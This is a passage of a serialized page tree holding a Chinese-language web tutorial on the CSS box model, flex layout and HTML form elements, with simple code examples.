box-sizing",{"type":18,"tag":297,"props":11589,"children":11590},{"style":327},[11591],{"type":24,"value":9286},{"type":18,"tag":297,"props":11593,"children":11594},{"style":906},[11595],{"type":24,"value":11596},"border-box",{"type":18,"tag":297,"props":11598,"children":11599},{"style":327},[11600],{"type":24,"value":9828},{"type":18,"tag":297,"props":11602,"children":11603},{"class":299,"line":4533},[11604,11609,11613,11617,11621,11626,11631,11635],{"type":18,"tag":297,"props":11605,"children":11606},{"style":906},[11607],{"type":24,"value":11608},"    border",{"type":18,"tag":297,"props":11610,"children":11611},{"style":327},[11612],{"type":24,"value":9286},{"type":18,"tag":297,"props":11614,"children":11615},{"style":906},[11616],{"type":24,"value":9355},{"type":18,"tag":297,"props":11618,"children":11619},{"style":316},[11620],{"type":24,"value":11489},{"type":18,"tag":297,"props":11622,"children":11623},{"style":906},[11624],{"type":24,"value":11625}," solid",{"type":18,"tag":297,"props":11627,"children":11628},{"style":906},[11629],{"type":24,"value":11630}," #ff00ff",{"type":18,"tag":297,"props":11632,"children":11633},{"style":327},[11634],{"type":24,"value":10875},{"type":18,"tag":297,"props":11636,"children":11637},{"style":5380},[11638],{"type":24,"value":11639},"\u002F* 边框：20像素 *\u002F\n",{"type":18,"tag":297,"props":11641,"children":11642},{"class":299,"line":4546},[11643,11648,11652,11656,11660,11665,11669],{"type":18,"tag":297,"props":11644,"children":11645},{"style":906},[11646],{"type":24,"value":11647},"    margin",{"type":18,"tag":297,"props":11649,"children":11650},{"style":327},[11651],{"type":24,"value":9286},{"type":18,"tag":297,"props":11653,"children":11654},{"style":906},[11655],{"type":24,"value":11566},{"type":18,"tag":297,"props":11657,"children":11658},{"style":316},[11659],{"type":24,"value":11489},{"type":18,"tag":297,"props":11661,"children":11662},{"style":906},[11663],{"type":24,"value":11664}," auto",{"type":18,"tag":297,"props":11666,"children":11667},{"style":327},[11668],{"type":24,"value":10875},{"type":18,"tag":297,"props":11670,"children":11671},{"style":5380},[11672],{"type":24,"value":11673},"\u002F* 外边距：30像素 *\u002F\n",{"type":18,"tag":297,"props":11675,"children":11676},{"class":299,"line":4555},[11677],{"type":18,"tag":297,"props":11678,"children":11679},{"style":327},[11680],{"type":24,"value":9524},{"type":18,"tag":297,"props":11682,"children":11683},{"class":299,"line":4568},[11684,11689,11693],{"type":18,"tag":297,"props":11685,"children":11686},{"style":327},[11687],{"type":24,"value":11688},"\u003C\u002F",{"type":18,"tag":297,"props":11690,"children":11691},{"style":9680},[11692],{"type":24,"value":651},{"type":18,"tag":297,"props":11694,"children":11695},{"style":327},[11696],{"type":24,"value":335},{"type":18,"tag":34,"props":11698,"children":11699},{},[11700,11704,11706,11712],{"type":18,"tag":105,"props":11701,"children":11702},{},[11703],{"type":24,"value":5862},{"type":24,"value":11705},"：如果只需要设置某一个方位的边框、内边距、外边距，可以在属性名后加上 ",{"type":18,"tag":74,"props":11707,"children":11709},{"className":11708},[],[11710],{"type":24,"value":11711},"-位置",{"type":24,"value":11713},"，如：",{"type":18,"tag":34,"props":11715,"children":11716},{},[11717,11723,11725,11731,11733,11739],{"type":18,"tag":74,"props":11718,"children":11720},{"className":11719},[],[11721],{"type":24,"value":11722},"padding-top",{"type":24,"value":11724},", ",{"type":18,"tag":74,"props":11726,"children":11728},{"className":11727},[],[11729],{"type":24,"value":11730},"padding-left",{"type":24,"value":11732}," , ",{"type":18,"tag":74,"props":11734,"children":11736},{"className":11735},[],[11737],{"type":24,"value":11738},"padding-right",{"type":24,"value":11740},"...",{"type":18,"tag":27,"props":11742,"children":11744},{"id":11743},"_39-页面原型",[11745],{"type":24,"value":11746},"3.9 页面原型",{"type":18,"tag":34,"props":11748,"children":11749},{},[11750],{"type":24,"value":11751},"指在应用程序开发初期，由产品经理制作的一个早期项目模型，它用于展示页面的基本布局、功能和交互设计。通常用来帮助设计师、开发者等更好地理解和讨论最终产品的外观和行为。如下示例：",{"type":18,"tag":34,"props":11753,"children":11754},{},[11755],{"type":18,"tag":54,"props":11756,"children":11759},{"alt":11757,"src":11758},"1776036106814","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776036106814.png",[],{"type":18,"tag":27,"props":11761,"children":11763},{"id":11762},"_310-flex-布局",[11764],{"type":24,"value":11765},"3.10 flex 布局",{"type":18,"tag":210,"props":11767,"children":11768},{},[11769,11774],{"type":18,"tag":158,"props":11770,"children":11771},{},[11772],{"type":24,"value":11773},"flex 是 flexible Box 的缩写，意为 \"弹性布局\"，是一种一维的布局模型。flex 布局可以为元素之间提供强大的空间分布和对齐能力。",{"type":18,"tag":158,"props":11775,"children":11776},{},[11777],{"type":24,"value":11778},"通过给父容器添加 flex 的相关属性，来控制子元素的位置和排列方式。",{"type":18,"tag":34,"props":11780,"children":11781},{},[11782],{"type":18,"tag":54,"props":11783,"children":11786},{"alt":11784,"src":11785},"1776036595541","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776036595541.png",[],{"type":18,"tag":34,"props":11788,"children":11789},{},[11790,11794],{"type":18,"tag":105,"props":11791,"children":11792},{},[11793],{"type":24,"value":9987},{"type":24,"value":222},{"type":18,"tag":287,"props":11796,"children":11798},{"className":9858,"code":11797,"language":9860,"meta":8,"style":8},"#container {\n    background-color: #f1eeee;\n    width: 500px;\n    height: 300px;\n\n    display: flex; \u002F* flex弹性布局 *\u002F\n    flex-direction: row; \u002F* 默认为row水平布局，设置主轴 *\u002F\n    \u002F* flex-start：从头开始排列 *\u002F\n    \u002F* flex-end：从尾部开始排列 *\u002F\n    \u002F* center：在主轴上居中对齐 *\u002F\n    \u002F* space-around：平分剩余空间 *\u002F\n    \u002F* space-between：先两边贴边，再平分剩余空间 *\u002F\n    justify-content: space-between;\n}\n",[11799],{"type":18,"tag":74,"props":11800,"children":11801},{"__ignoreMap":8},[11802,11814,11834,11858,11881,11888,11914,11940,11948,11956,11964,11972,11980,12001],{"type":18,"tag":297,"props":11803,"children":11804},{"class":299,"line":300},[11805,11810],{"type":18,"tag":297,"props":11806,"children":11807},{"style":304},[11808],{"type":24,"value":11809},"#container",{"type":18,"tag":297,"props":11811,"children":11812},{"style":327},[11813],{"type":24,"value":9806},{"type":18,"tag":297,"props":11815,"children":11816},{"class":299,"line":657},[11817,11821,11825,11830],{"type":18,"tag":297,"props":11818,"children":11819},{"style":906},[11820],{"type":24,"value":11536},{"type":18,"tag":297,"props":11822,"children":11823},{"style":327},[11824],{"type":24,"value":9286},{"type":18,"tag":297,"props":11826,"children":11827},{"style":906},[11828],{"type":24,"value":11829},"#f1eeee",{"type":18,"tag":297,"props":11831,"children":11832},{"style":327},[11833],{"type":24,"value":9828},{"type":18,"tag":297,"props":11835,"children":11836},{"class":299,"line":662},[11837,11841,11845,11850,11854],{"type":18,"tag":297,"props":11838,"children":11839},{"style":906},[11840],{"type":24,"value":11475},{"type":18,"tag":297,"props":11842,"children":11843},{"style":327},[11844],{"type":24,"value":9286},{"type":18,"tag":297,"props":11846,"children":11847},{"style":906},[11848],{"type":24,"value":11849},"500",{"type":18,"tag":297,"props":11851,"children":11852},{"style":316},[11853],{"type":24,"value":11489},{"type":18,"tag":297,"props":11855,"children":11856},{"style":327},[11857],{"type":24,"value":9828},{"type":18,"tag":297,"props":11859,"children":11860},{"class":299,"line":799},[11861,11865,11869,11873,11877],{"type":18,"tag":297,"props":11862,"children":11863},{"style":906},[11864],{"type":24,"value":11506},{"type":18,"tag":297,"props":11866,"children":11867},{"style":327},[11868],{"type":24,"value":9286},{"type":18,"tag":297,"props":11870,"children":11871},{"style":906},[11872],{"type":24,"value":11515},{"type":18,"tag":297,"props":11874,"children":11875},{"style":316},[11876],{"type":24,"value":11489},{"type":18,"tag":297,"props":11878,"children":11879},{"style":327},[11880],{"type":24,"value":9828},{"type":18,"tag":297,"props":11882,"children":11883},{"class":299,"line":808},[11884],{"type":18,"tag":297,"props":11885,"children":11886},{"emptyLinePlaceholder":793},[11887],{"type":24,"value":796},{"type":18,"tag":297,"props":11889,"children":11890},{"class":299,"line":817},[11891,11896,11900,11905,11909],{"type":18,"tag":297,"props":11892,"children":11893},{"style":906},[11894],{"type":24,"value":11895},"    display",{"type":18,"tag":297,"props":11897,"children":11898},{"style":327},[11899],{"type":24,"value":9286},{"type":18,"tag":297,"props":11901,"children":11902},{"style":906},[11903],{"type":24,"value":11904},"flex",{"type":18,"tag":297,"props":11906,"children":11907},{"style":327},[11908],{"type":24,"value":10875},{"type":18,"tag":297,"props":11910,"children":11911},{"style":5380},[11912],{"type":24,"value":11913},"\u002F* flex弹性布局 *\u002F\n",{"type":18,"tag":297,"props":11915,"children":11916},{"class":299,"line":826},[11917,11922,11926,11931,11935],{"type":18,"tag":297,"props":11918,"children":11919},{"style":906},[11920],{"type":24,"value":11921},"    flex-direction",{"type":18,"tag":297,"props":11923,"children":11924},{"style":327},[11925],{"type":24,"value":9286},{"type":18,"tag":297,"props":11927,"children":11928},{"style":906},[11929],{"type":24,"value":11930},"row",{"type":18,"tag":297,"props":11932,"children":11933},{"style":327},[11934],{"type":24,"value":10875},{"type":18,"tag":297,"props":11936,"children":11937},{"style":5380},[11938],{"type":24,"value":11939},"\u002F* 默认为row水平布局，设置主轴 *\u002F\n",{"type":18,"tag":297,"props":11941,"children":11942},{"class":299,"line":4524},[11943],{"type":18,"tag":297,"props":11944,"children":11945},{"style":5380},[11946],{"type":24,"value":11947},"    \u002F* flex-start：从头开始排列 *\u002F\n",{"type":18,"tag":297,"props":11949,"children":11950},{"class":299,"line":4533},[11951],{"type":18,"tag":297,"props":11952,"children":11953},{"style":5380},[11954],{"type":24,"value":11955},"    \u002F* flex-end：从尾部开始排列 *\u002F\n",{"type":18,"tag":297,"props":11957,"children":11958},{"class":299,"line":4546},[11959],{"type":18,"tag":297,"props":11960,"children":11961},{"style":5380},[11962],{"type":24,"value":11963},"    \u002F* center：在主轴上居中对齐 *\u002F\n",{"type":18,"tag":297,"props":11965,"children":11966},{"class":299,"line":4555},[11967],{"type":18,"tag":297,"props":11968,"children":11969},{"style":5380},[11970],{"type":24,"value":11971},"    \u002F* space-around：平分剩余空间 *\u002F\n",{"type":18,"tag":297,"props":11973,"children":11974},{"class":299,"line":4568},[11975],{"type":18,"tag":297,"props":11976,"children":11977},{"style":5380},[11978],{"type":24,"value":11979},"    \u002F* space-between：先两边贴边，再平分剩余空间 *\u002F\n",{"type":18,"tag":297,"props":11981,"children":11982},{"class":299,"line":4577},[11983,11988,11992,11997],{"type":18,"tag":297,"props":11984,"children":11985},{"style":906},[11986],{"type":24,"value":11987},"    justify-content",{"type":18,"tag":297,"props":11989,"children":11990},{"style":327},[11991],{"type":24,"value":9286},{"type":18,"tag":297,"props":11993,"children":11994},{"style":906},[11995],{"type":24,"value":11996},"space-between",{"type":18,"tag":297,"props":11998,"children":11999},{"style":327},[12000],{"type":24,"value":9828},{"type":18,"tag":297,"props":12002,"children":12003},{"class":299,"line":4590},[12004],{"type":18,"tag":297,"props":12005,"children":12006},{"style":327},[12007],{"type":24,"value":9524},{"type":18,"tag":27,"props":12009,"children":12011},{"id":12010},"_311-表单标签",[12012],{"type":24,"value":12013},"3.11 表单标签",{"type":18,"tag":210,"props":12015,"children":12016},{},[12017,12027,12040,12093],{"type":18,"tag":158,"props":12018,"children":12019},{},[12020,12025],{"type":18,"tag":105,"props":12021,"children":12022},{},[12023],{"type":24,"value":12024},"表单",{"type":24,"value":12026},"：在网页中主要负责数据采集功能，如注册、登录等数据采集。",{"type":18,"tag":158,"props":12028,"children":12029},{},[12030,12034,12035],{"type":18,"tag":105,"props":12031,"children":12032},{},[12033],{"type":24,"value":10216},{"type":24,"value":222},{"type":18,"tag":74,"props":12036,"children":12038},{"className":12037},[],[12039],{"type":24,"value":10432},{"type":18,"tag":158,"props":12041,"children":12042},{},[12043,12045,12048,12050],{"type":24,"value":12044},"表单项",{"type":18,"tag":6882,"props":12046,"children":12047},{},[],{"type":24,"value":12049},"：不同类型的 input 元素、下拉列表、文本域等。",{"type":18,"tag":210,"props":12051,"children":12052},{},[12053,12063,12082],{"type":18,"tag":158,"props":12054,"children":12055},{},[12056,12061],{"type":18,"tag":74,"props":12057,"children":12059},{"className":12058},[],[12060],{"type":24,"value":10359},{"type":24,"value":12062},"：定义表单项，通过 type 属性控制输入形式（text\u002Fpassword\u002Fsumbit...）",{"type":18,"tag":158,"props":12064,"children":12065},{},[12066,12072,12074,12080],{"type":18,"tag":74,"props":12067,"children":12069},{"className":12068},[],[12070],{"type":24,"value":12071},"\u003Cselect>",{"type":24,"value":12073},"：定义下拉列表，",{"type":18,"tag":74,"props":12075,"children":12077},{"className":12076},[],[12078],{"type":24,"value":12079},"option>",{"type":24,"value":12081}," 定义列表项",{"type":18,"tag":158,"props":12083,"children":12084},{},[12085,12091],{"type":18,"tag":74,"props":12086,"children":12088},{"className":12087},[],[12089],{"type":24,"value":12090},"\u003Ctextarea>",{"type":24,"value":12092},"：定义文本域",{"type":18,"tag":158,"props":12094,"children":12095},{},[12096,12098],{"type":24,"value":12097},"属性：",{"type":18,"tag":210,"props":12099,"children":12100},{},[12101,12112],{"type":18,"tag":158,"props":12102,"children":12103},{},[12104,12110],{"type":18,"tag":74,"props":12105,"children":12107},{"className":12106},[],[12108],{"type":24,"value":12109},"action",{"type":24,"value":12111},"：规定当提交表单时向何处发送表单数据，URL",{"type":18,"tag":158,"props":12113,"children":12114},{},[12115,12121,12123,12136],{"type":18,"tag":74,"props":12116,"children":12118},{"className":12117},[],[12119],{"type":24,"value":12120},"method",{"type":24,"value":12122},"：规定用于发送表单数据的方式。GET、POST（",{"type":18,"tag":105,"props":12124,"children":12125},{},[12126,12128,12134],{"type":24,"value":12127},"想正常提交数据，表单项必须添加",{"type":18,"tag":74,"props":12129,"children":12131},{"className":12130},[],[12132],{"type":24,"value":12133},"name",{"type":24,"value":12135},"属性",{"type":24,"value":6182},{"type":18,"tag":34,"props":12138,"children":12139},{},[12140],{"type":18,"tag":54,"props":12141,"children":12144},{"alt":12142,"src":12143},"1776037402416","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776037402416.png",[],{"type":18,"tag":34,"props":12146,"children":12147},{},[12148,12166],{"type":18,"tag":105,"props":12149,"children":12150},{},[12151,12156,12158,12164],{"type":18,"tag":74,"props":12152,"children":12154},{"className":12153},[],[12155],{"type":24,"value":10359},{"type":24,"value":12157},"表单项 ",{"type":18,"tag":74,"props":12159,"children":12161},{"className":12160},[],[12162],{"type":24,"value":12163},"type",{"type":24,"value":12165}," 属性取值详解",{"type":24,"value":222},{"type":18,"tag":34,"props":12168,"children":12169},{},[12170],{"type":18,"tag":54,"props":12171,"children":12174},{"alt":12172,"src":12173},"1776038410217","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776038410217.png",[],{"type":18,"tag":34,"props":12176,"children":12177},{},[12178,12188],{"type":18,"tag":105,"props":12179,"children":12180},{},[12181,12186],{"type":18,"tag":74,"props":12182,"children":12184},{"className":12183},[],[12185],{"type":24,"value":10359},{"type":24,"value":12187}," 表单项示例",{"type":24,"value":222},{"type":18,"tag":287,"props":12190,"children":12192},{"className":9608,"code":12191,"language":9610,"meta":8,"style":8},"\u003Cbody>\n\u003C!-- form表单：\n    action：表单数据提交的url地址\n    method：提交方式\n        get：默认，表单数据会出现在url后面，形式：\u002Fsave?name=Tom&age=18\n        特点：\n            1. 如果表单中包含了隐私数据，get方式并不安全，不推荐使用该方式。\n            2. 在浏览器中get请求的大小是有限制的，不适合提交大数据量的表单。\n        post：表单数据会在消息体\u002F请求体中提交到服务器\n        特点：\n            1. 安全。\n            2. 请求大小没有限制\n    注意：表单项要想能够采集数据，必须得设置name属性，表示当前表单项的名字\n-->\n\u003Cform action=\"\u002Fsave\" method=\"post\">\n    姓名: \u003Cinput type=\"text\" name=\"name\">\n    年龄: \u003Cinput type=\"text\" name=\"age\">\n    \u003Cinput type=\"submit\" value=\"提交\">\n\u003C\u002Fform>\n\u003C\u002Fbody>\n",[12193],{"type":18,"tag":74,"props":12194,"children":12195},{"__ignoreMap":8},[12196,12212,12220,12228,12236,12244,12252,12260,12268,12276,12283,12291,12299,12307,12314,12358,12403,12444,12487,12502],{"type":18,"tag":297,"props":12197,"children":12198},{"class":299,"line":300},[12199,12203,12208],{"type":18,"tag":297,"props":12200,"children":12201},{"style":327},[12202],{"type":24,"value":319},{"type":18,"tag":297,"props":12204,"children":12205},{"style":9680},[12206],{"type":24,"value":12207},"body",{"type":18,"tag":297,"props":12209,"children":12210},{"style":327},[12211],{"type":24,"value":335},{"type":18,"tag":297,"props":12213,"children":12214},{"class":299,"line":657},[12215],{"type":18,"tag":297,"props":12216,"children":12217},{"style":5380},[12218],{"type":24,"value":12219},"\u003C!-- form表单：\n",{"type":18,"tag":297,"props":12221,"children":12222},{"class":299,"line":662},[12223],{"type":18,"tag":297,"props":12224,"children":12225},{"style":5380},[12226],{"type":24,"value":12227},"    action：表单数据提交的url地址\n",{"type":18,"tag":297,"props":12229,"children":12230},{"class":299,"line":799},[12231],{"type":18,"tag":297,"props":12232,"children":12233},{"style":5380},[12234],{"type":24,"value":12235},"    method：提交方式\n",{"type":18,"tag":297,"props":12237,"children":12238},{"class":299,"line":808},[12239],{"type":18,"tag":297,"props":12240,"children":12241},{"style":5380},[12242],{"type":24,"value":12243},"        get：默认，表单数据会出现在url后面，形式：\u002Fsave?name=Tom&age=18\n",{"type":18,"tag":297,"props":12245,"children":12246},{"class":299,"line":817},[12247],{"type":18,"tag":297,"props":12248,"children":12249},{"style":5380},[12250],{"type":24,"value":12251},"        特点：\n",{"type":18,"tag":297,"props":12253,"children":12254},{"class":299,"line":826},[12255],{"type":18,"tag":297,"props":12256,"children":12257},{"style":5380},[12258],{"type":24,"value":12259},"            1. 如果表单中包含了隐私数据，get方式并不安全，不推荐使用该方式。\n",{"type":18,"tag":297,"props":12261,"children":12262},{"class":299,"line":4524},[12263],{"type":18,"tag":297,"props":12264,"children":12265},{"style":5380},[12266],{"type":24,"value":12267},"            2. 在浏览器中get请求的大小是有限制的，不适合提交大数据量的表单。\n",{"type":18,"tag":297,"props":12269,"children":12270},{"class":299,"line":4533},[12271],{"type":18,"tag":297,"props":12272,"children":12273},{"style":5380},[12274],{"type":24,"value":12275},"        post：表单数据会在消息体\u002F请求体中提交到服务器\n",{"type":18,"tag":297,"props":12277,"children":12278},{"class":299,"line":4546},[12279],{"type":18,"tag":297,"props":12280,"children":12281},{"style":5380},[12282],{"type":24,"value":12251},{"type":18,"tag":297,"props":12284,"children":12285},{"class":299,"line":4555},[12286],{"type":18,"tag":297,"props":12287,"children":12288},{"style":5380},[12289],{"type":24,"value":12290},"            1. 安全。\n",{"type":18,"tag":297,"props":12292,"children":12293},{"class":299,"line":4568},[12294],{"type":18,"tag":297,"props":12295,"children":12296},{"style":5380},[12297],{"type":24,"value":12298},"            2. 请求大小没有限制\n",{"type":18,"tag":297,"props":12300,"children":12301},{"class":299,"line":4577},[12302],{"type":18,"tag":297,"props":12303,"children":12304},{"style":5380},[12305],{"type":24,"value":12306},"    注意：表单项要想能够采集数据，必须得设置name属性，表示当前表单项的名字\n",{"type":18,"tag":297,"props":12308,"children":12309},{"class":299,"line":4590},[12310],{"type":18,"tag":297,"props":12311,"children":12312},{"style":5380},[12313],{"type":24,"value":9670},{"type":18,"tag":297,"props":12315,"children":12316},{"class":299,"line":4599},[12317,12321,12326,12331,12335,12340,12345,12349,12354],{"type":18,"tag":297,"props":12318,"children":12319},{"style":327},[12320],{"type":24,"value":319},{"type":18,"tag":297,"props":12322,"children":12323},{"style":9680},[12324],{"type":24,"value":12325},"form",{"type":18,"tag":297,"props":12327,"children":12328},{"style":304},[12329],{"type":24,"value":12330}," action",{"type":18,"tag":297,"props":12332,"children":12333},{"style":327},[12334],{"type":24,"value":9692},{"type":18,"tag":297,"props":12336,"children":12337},{"style":310},[12338],{"type":24,"value":12339},"\"\u002Fsave\"",{"type":18,"tag":297,"props":12341,"children":12342},{"style":304},[12343],{"type":24,"value":12344}," method",{"type":18,"tag":297,"props":12346,"children":12347},{"style":327},[12348],{"type":24,"value":9692},{"type":18,"tag":297,"props":12350,"children":12351},{"style":310},[12352],{"type":24,"value":12353},"\"post\"",{"type":18,"tag":297,"props":12355,"children":12356},{"style":327},[12357],{"type":24,"value":335},{"type":18,"tag":297,"props":12359,"children":12360},{"class":299,"line":4607},[12361,12366,12371,12376,12380,12385,12390,12394,12399],{"type":18,"tag":297,"props":12362,"children":12363},{"style":327},[12364],{"type":24,"value":12365},"    姓名: \u003C",{"type":18,"tag":297,"props":12367,"children":12368},{"style":9680},[12369],{"type":24,"value":12370},"input",{"type":18,"tag":297,"props":12372,"children":12373},{"style":304},[12374],{"type":24,"value":12375}," type",{"type":18,"tag":297,"props":12377,"children":12378},{"style":327},[12379],{"type":24,"value":9692},{"type":18,"tag":297,"props":12381,"children":12382},{"style":310},[12383],{"type":24,"value":12384},"\"text\"",{"type":18,"tag":297,"props":12386,"children":12387},{"style":304},[12388],{"type":24,"value":12389}," name",{"type":18,"tag":297,"props":12391,"children":12392},{"style":327},[12393],{"type":24,"value":9692},{"type":18,"tag":297,"props":12395,"children":12396},{"style":310},[12397],{"type":24,"value":12398},"\"name\"",{"type":18,"tag":297,"props":12400,"children":12401},{"style":327},[12402],{"type":24,"value":335},{"type":18,"tag":297,"props":12404,"children":12405},{"class":299,"line":4616},[12406,12411,12415,12419,12423,12427,12431,12435,12440],{"type":18,"tag":297,"props":12407,"children":12408},{"style":327},[12409],{"type":24,"value":12410},"    年龄: \u003C",{"type":18,"tag":297,"props":12412,"children":12413},{"style":9680},[12414],{"type":24,"value":12370},{"type":18,"tag":297,"props":12416,"children":12417},{"style":304},[12418],{"type":24,"value":12375},{"type":18,"tag":297,"props":12420,"children":12421},{"style":327},[12422],{"type":24,"value":9692},{"type":18,"tag":297,"props":12424,"children":12425},{"style":310},[12426],{"type":24,"value":12384},{"type":18,"tag":297,"props":12428,"children":12429},{"style":304},[12430],{"type":24,"value":12389},{"type":18,"tag":297,"props":12432,"children":12433},{"style":327},[12434],{"type":24,"value":9692},{"type":18,"tag":297,"props":12436,"children":12437},{"style":310},[12438],{"type":24,"value":12439},"\"age\"",{"type":18,"tag":297,"props":12441,"children":12442},{"style":327},[12443],{"type":24,"value":335},{"type":18,"tag":297,"props":12445,"children":12446},{"class":299,"line":4624},[12447,12452,12456,12460,12464,12469,12474,12478,12483],{"type":18,"tag":297,"props":12448,"children":12449},{"style":327},[12450],{"type":24,"value":12451},"    \u003C",{"type":18,"tag":297,"props":12453,"children":12454},{"style":9680},[12455],{"type":24,"value":12370},{"type":18,"tag":297,"props":12457,"children":12458},{"style":304},[12459],{"type":24,"value":12375},{"type":18,"tag":297,"props":12461,"children":12462},{"style":327},[12463],{"type":24,"value":9692},{"type":18,"tag":297,"props":12465,"children":12466},{"style":310},[12467],{"type":24,"value":12468},"\"submit\"",{"type":18,"tag":297,"props":12470,"children":12471},{"style":304},[12472],{"type":24,"value":12473}," value",{"type":18,"tag":297,"props":12475,"children":12476},{"style":327},[12477],{"type":24,"value":9692},{"type":18,"tag":297,"props":12479,"children":12480},{"style":310},[12481],{"type":24,"value":12482},"\"提交\"",{"type":18,"tag":297,"props":12484,"children":12485},{"style":327},[12486],{"type":24,"value":335},{"type":18,"tag":297,"props":12488,"children":12489},{"class":299,"line":4633},[12490,12494,12498],{"type":18,"tag":297,"props":12491,"children":12492},{"style":327},[12493],{"type":24,"value":11688},{"type":18,"tag":297,"props":12495,"children":12496},{"style":9680},[12497],{"type":24,"value":12325},{"type":18,"tag":297,"props":12499,"children":12500},{"style":327},[12501],{"type":24,"value":335},{"type":18,"tag":297,"props":12503,"children":12504},{"class":299,"line":4641},[12505,12509,12513],{"type":18,"tag":297,"props":12506,"children":12507},{"style":327},[12508],{"type":24,"value":11688},{"type":18,"tag":297,"props":12510,"children":12511},{"style":9680},[12512],{"type":24,"value":12207},{"type":18,"tag":297,"props":12514,"children":12515},{"style":327},[12516],{"type":24,"value":335},{"type":18,"tag":34,"props":12518,"children":12519},{},[12520,12531],{"type":18,"tag":105,"props":12521,"children":12522},{},[12523,12529],{"type":18,"tag":74,"props":12524,"children":12526},{"className":12525},[],[12527],{"type":24,"value":12528},"\u003Cfrom>",{"type":24,"value":12530}," 表单标签示例",{"type":24,"value":222},{"type":18,"tag":287,"props":12533,"children":12535},{"className":9608,"code":12534,"language":9610,"meta":8,"style":8},"\u003C!-- value：表单项提交的值 -->\n\u003Cform action=\"\" method=\"post\">\n    姓名: \u003Cinput type=\"text\" name=\"name\"> \u003Cbr>\u003Cbr>\n\n    密码: \u003Cinput type=\"password\" name=\"password\"> \u003Cbr>\u003Cbr>\n    \n    \u003C!-- 注意同一组单选项name属性必须一致，value属性值是表单提交值，如：男 -> 1 -->\n    性别: \u003Cinput type=\"radio\" name=\"gender\" value=\"1\"> 男\n    \u003C!-- label标签用来提升用户体验，即添加后不需要用户精准点击圈才会被选中 -->\n    \u003Clabel>\u003Cinput type=\"radio\" name=\"gender\" value=\"2\"> 女 \u003C\u002Flabel> \u003Cbr>\u003Cbr>\n\n    爱好: \u003Clabel>\u003Cinput type=\"checkbox\" name=\"hobby\" value=\"java\"> java \u003C\u002Flabel>\n    \u003Clabel>\u003Cinput type=\"checkbox\" name=\"hobby\" value=\"game\"> game \u003C\u002Flabel>\n    \u003Clabel>\u003Cinput type=\"checkbox\" name=\"hobby\" value=\"sing\"> sing \u003C\u002Flabel> \u003Cbr>\u003Cbr>\n\n    图像: \u003Cinput type=\"file\" name=\"image\"> \u003Cbr>\u003Cbr>\n\n    生日: \u003Cinput type=\"date\" name=\"birthday\"> \u003Cbr>\u003Cbr>\n\n    时间: \u003Cinput type=\"time\" name=\"time\"> \u003Cbr>\u003Cbr>\n\n    日期时间: \u003Cinput type=\"datetime-local\" name=\"datetime\"> \u003Cbr>\u003Cbr>\n    \n    学历: \u003Cselect name=\"degree\">\n        \u003Coption value=\"\">---------- 请选择 ----------\u003C\u002Foption>\n        \u003Coption value=\"1\">大专\u003C\u002Foption>\n        \u003Coption value=\"2\">本科\u003C\u002Foption>\n        \u003Coption value=\"3\">硕士\u003C\u002Foption>\n        \u003Coption value=\"4\">博士\u003C\u002Foption>\n    \u003C\u002Fselect> \u003Cbr>\u003Cbr>\n\n    \u003C!-- cols表示初始输入大小为30个字符，rows表示可输入10行 -->\n    描述: \u003Ctextarea name=\"description\" cols=\"30\" rows=\"10\">\u003C\u002Ftextarea> \u003Cbr>\u003Cbr>\n\n    \u003Cinput type=\"hidden\" name=\"id\" value=\"1\">\n\n    \u003C!-- 表单常见按钮 -->\n    \u003Cinput type=\"button\" value=\"按钮\">\n    \u003Cinput type=\"reset\" value=\"重置\">\n    \u003Cinput type=\"submit\" value=\"提交\">\n    \u003Cbr>\n\u003C\u002Fform>\n",[12536],{"type":18,"tag":74,"props":12537,"children":12538},{"__ignoreMap":8},[12539,12547,12587,12644,12651,12708,12716,12724,12780,12788,12874,12881,12953,13022,13107,13114,13172,13179,13237,13244,13301,13308,13366,13373,13403,13441,13477,13513,13551,13589,13622,13630,13639,13722,13730,13784,13792,13801,13843,13885,13925,13941],{"type":18,"tag":297,"props":12540,"children":12541},{"class":299,"line":300},[12542],{"type":18,"tag":297,"props":12543,"children":12544},{"style":5380},[12545],{"type":24,"value":12546},"\u003C!-- value：表单项提交的值 -->\n",{"type":18,"tag":297,"props":12548,"children":12549},{"class":299,"line":657},[12550,12554,12558,12562,12566,12571,12575,12579,12583],{"type":18,"tag":297,"props":12551,"children":12552},{"style":327},[12553],{"type":24,"value":319},{"type":18,"tag":297,"props":12555,"children":12556},{"style":9680},[12557],{"type":24,"value":12325},{"type":18,"tag":297,"props":12559,"children":12560},{"style":304},[12561],{"type":24,"value":12330},{"type":18,"tag":297,"props":12563,"children":12564},{"style":327},[12565],{"type":24,"value":9692},{"type":18,"tag":297,"props":12567,"children":12568},{"style":310},[12569],{"type":24,"value":12570},"\"\"",{"type":18,"tag":297,"props":12572,"children":12573},{"style":304},[12574],{"type":24,"value":12344},{"type":18,"tag":297,"props":12576,"children":12577},{"style":327},[12578],{"type":24,"value":9692},{"type":18,"tag":297,"props":12580,"children":12581},{"style":310},[12582],{"type":24,"value":12353},{"type":18,"tag":297,"props":12584,"children":12585},{"style":327},[12586],{"type":24,"value":335},{"type":18,"tag":297,"props":12588,"children":12589},{"class":299,"line":662},[12590,12594,12598,12602,12606,12610,12614,12618,12622,12627,12631,12636,12640],{"type":18,"tag":297,"props":12591,"children":12592},{"style":327},[12593],{"type":24,"value":12365},{"type":18,"tag":297,"props":12595,"children":12596},{"style":9680},[12597],{"type":24,"value":12370},{"type":18,"tag":297,"props":12599,"children":12600},{"style":304},[12601],{"type":24,"value":12375},{"type":18,"tag":297,"props":12603,"children":12604},{"style":327},[12605],{"type":24,"value":9692},{"type":18,"tag":297,"props":12607,"children":12608},{"style":310},[12609],{"type":24,"value":12384},{"type":18,"tag":297,"props":12611,"children":12612},{"style":304},[12613],{"type":24,"value":12389},{"type":18,"tag":297,"props":12615,"children":12616},{"style":327},[12617],{"type":24,"value":9692},{"type":18,"tag":297,"props":12619,"children":12620},{"style":310},[12621],{"type":24,"value":12398},{"type":18,"tag":297,"props":12623,"children":12624},{"style":327},[12625],{"type":24,"value":12626},"> 